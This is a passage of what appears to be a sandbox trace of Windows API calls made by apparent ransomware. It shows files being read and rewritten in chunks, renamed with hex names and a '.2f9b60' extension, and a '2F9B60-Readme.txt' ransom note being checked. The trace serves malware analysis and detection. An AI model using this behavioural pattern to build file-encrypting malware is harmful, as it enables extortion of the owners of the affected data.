hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.326] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.327] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0112.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859b20) returned 1 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0112.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0112.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a60) returned 1 [0112.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.328] WriteFile (in: hFile=0xe18, lpBuffer=0x41e485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e485a0*, lpNumberOfBytesWritten=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0112.332] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.332] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.332] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0112.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0112.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0112.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0112.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.333] WriteFile (in: hFile=0xe18, lpBuffer=0x41e485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e485a0*, lpNumberOfBytesWritten=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0112.333] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x14416, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.334] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.334] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x14416, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0112.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0112.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0112.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0112.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.335] WriteFile (in: hFile=0xe18, lpBuffer=0x41e485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e485a0*, lpNumberOfBytesWritten=0x1dc1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0112.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c21a0 [0112.336] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.336] WriteFile (in: hFile=0xe18, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1dc1fe10, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x1dc1fe10*=0x146, lpOverlapped=0x0) returned 1 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0112.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0112.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0112.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad20) returned 1 [0112.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ec30 [0112.338] sprintf (in: _Dest=0x1cd9ec30, _Format="%c%c" | out: _Dest="02") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec32, _Format="%c%c" | out: _Dest="1c") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec34, _Format="%c%c" | out: _Dest="04") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec36, _Format="%c%c" | out: _Dest="64") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec38, _Format="%c%c" | out: _Dest="e5") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec3a, _Format="%c%c" | out: _Dest="d4") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec3c, _Format="%c%c" | out: _Dest="8e") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec3e, _Format="%c%c" | out: _Dest="71") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec40, _Format="%c%c" | out: _Dest="94") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec42, _Format="%c%c" | out: _Dest="7b") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec44, _Format="%c%c" | out: _Dest="f3") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec46, _Format="%c%c" | out: _Dest="73") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec48, _Format="%c%c" | out: _Dest="7c") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec4a, _Format="%c%c" | out: _Dest="24") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec4c, _Format="%c%c" | out: _Dest="0d") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec4e, _Format="%c%c" | out: _Dest="c5") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec50, _Format="%c%c" | out: _Dest="90") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec52, _Format="%c%c" | out: _Dest="c4") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec54, _Format="%c%c" | out: _Dest="99") returned 2 [0112.338] sprintf (in: _Dest=0x1cd9ec56, _Format="%c%c" | out: _Dest="da") returned 2 [0112.338] RtlInitAnsiString (in: DestinationString=0x1dc1fe88, SourceString="021c0464e5d48e71947bf3737c240dc590c499da" | out: DestinationString="021c0464e5d48e71947bf3737c240dc590c499da") [0112.338] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dc1fe58, SourceString="021c0464e5d48e71947bf3737c240dc590c499da", AllocateDestinationString=1 | out: DestinationString="021c0464e5d48e71947bf3737c240dc590c499da") returned 0x0 [0112.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9ca30 [0112.339] wcscat (in: _Dest=0x1b79e870, _Source="021c0464e5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5" [0112.339] wcscat (in: _Dest=0x1b79e870, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5.2f9b60" [0112.339] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5.2f9b60", NtPathName=0x1dc1fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\021c0464e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dd70 [0112.339] NtSetInformationFile (FileHandle=0xe18, IoStatusBlock=0x1dc1fed0, FileInformation=0x4205dd70, Length=0x8a, FileInformationClass=0xa) returned 0x0 [0112.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0112.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.341] NtQueryInformationFile (in: FileHandle=0xe18, IoStatusBlock=0x1dc1fe98, FileInformation=0x1dc1fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1dc1fe98, FileInformation=0x1dc1fea8) returned 0x0 [0112.341] NtSetInformationFile (FileHandle=0xe18, IoStatusBlock=0x1dc1fe98, FileInformation=0x1dc1fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 [0112.342] FlushFileBuffers (hFile=0xe18) returned 1 [0112.343] CloseHandle (hObject=0xe18) returned 1 [0112.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e870 [0112.357] wcscpy (in: _Dest=0x1b79e870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0112.358] wcscat (in: _Dest=0x1b79e870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" [0112.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt")) returned 0x20 [0112.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e560) returned 1 Thread: id = 1119 os_tid = 0x7cc [0112.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx")) returned 0x20 [0112.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe1c [0112.373] GetFileSizeEx (in: hFile=0xe1c, lpFileSize=0x351ffe00 | out: lpFileSize=0x351ffe00*=207335) returned 1 [0112.373] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x329e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.373] ReadFile (in: hFile=0xe1c, lpBuffer=0x351ffd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x351ffdc8, lpOverlapped=0x0 | out: lpBuffer=0x351ffd80*, lpNumberOfBytesRead=0x351ffdc8*=0x4, lpOverlapped=0x0) returned 1 [0112.376] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83b0 [0112.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8320 [0112.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.376] NtQuerySystemTime (in: CurrentTime=0x351ffcc0 | out: CurrentTime=0x351ffcc0*=132462177178342000) returned 0x0 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x50107c7a [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x5454e92 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x11cbf326 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x47033c0e [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x1cb6cf8b [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0xc163712 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x62b6a9a6 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x2a6182cd [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x3fa8e715 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x74496631 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x751120d2 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x7cabee2c [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x11c47b31 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x74f05fa5 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x292395 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x589286af [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x499974e7 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x5ed73f24 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x2650858d [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x4a96845 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x74496631 [0112.376] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x50107c7a [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x6acb5686 [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x525188ba [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x5335c77b [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x18d3e1f [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x2637f912 [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x627d8ab7 [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x13d70199 [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x38a798fb [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0x3038c9cc [0112.377] RtlRandomEx (in: Seed=0x351ffcb0 | out: Seed=0x351ffcb0) returned 0xd32d137 [0112.384] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.384] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x351ffd20, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x351ffd20*=0x3c00, lpOverlapped=0x0) returned 1 [0112.385] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83b0 [0112.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a83b0) returned 1 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83b0 [0112.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8380) returned 1 [0112.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.386] WriteFile (in: hFile=0xe1c, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x351ffd20, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x351ffd20*=0x3c00, lpOverlapped=0x0) returned 1 [0147.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0147.868] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.868] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x351ffd20, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x351ffd20*=0x3c00, lpOverlapped=0x0) returned 1 [0147.990] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0147.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0147.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42384990 [0147.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0147.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a60e0 [0147.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a60e0) returned 1 [0147.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.992] WriteFile (hFile=0xe1c, lpBuffer=0x42384990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x351ffd20, lpOverlapped=0x0) [0179.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42384990) returned 1 [0179.914] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x2ede7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.914] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x351ffd20, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x351ffd20*=0x3c00, lpOverlapped=0x0) returned 1 [0182.020] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x2ede7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edf0 [0182.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2edf0) returned 1 [0182.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43019930 [0182.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edf0 [0182.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee20 [0182.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee20) returned 1 [0182.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.024] WriteFile (in: hFile=0xe1c, lpBuffer=0x43019930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x351ffd20, lpOverlapped=0x0 | out: lpBuffer=0x43019930*, lpNumberOfBytesWritten=0x351ffd20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43019930) returned 1 [0198.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f7c0 [0198.746] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.746] WriteFile (in: hFile=0xe1c, lpBuffer=0x1b86f540*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x351ffdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b86f540*, lpNumberOfBytesWritten=0x351ffdd0*=0x15a, lpOverlapped=0x0) returned 1 [0203.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0203.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0203.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260a10 [0203.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0203.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0203.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262600) returned 1 [0203.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b7cea00 [0203.686] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="51") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="35") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="1d") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="7c") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="23") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="a5") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="2f") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="9b") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="66") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.686] sprintf (in: 